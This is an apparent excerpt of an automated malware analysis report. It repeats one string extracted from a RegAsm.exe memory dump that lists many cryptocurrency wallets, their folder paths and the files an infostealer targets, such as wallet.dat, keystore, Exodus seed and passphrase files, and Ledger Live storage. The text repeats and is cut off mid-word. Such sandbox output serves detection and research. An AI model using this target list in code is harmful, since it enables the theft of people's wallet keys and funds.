Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ore Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 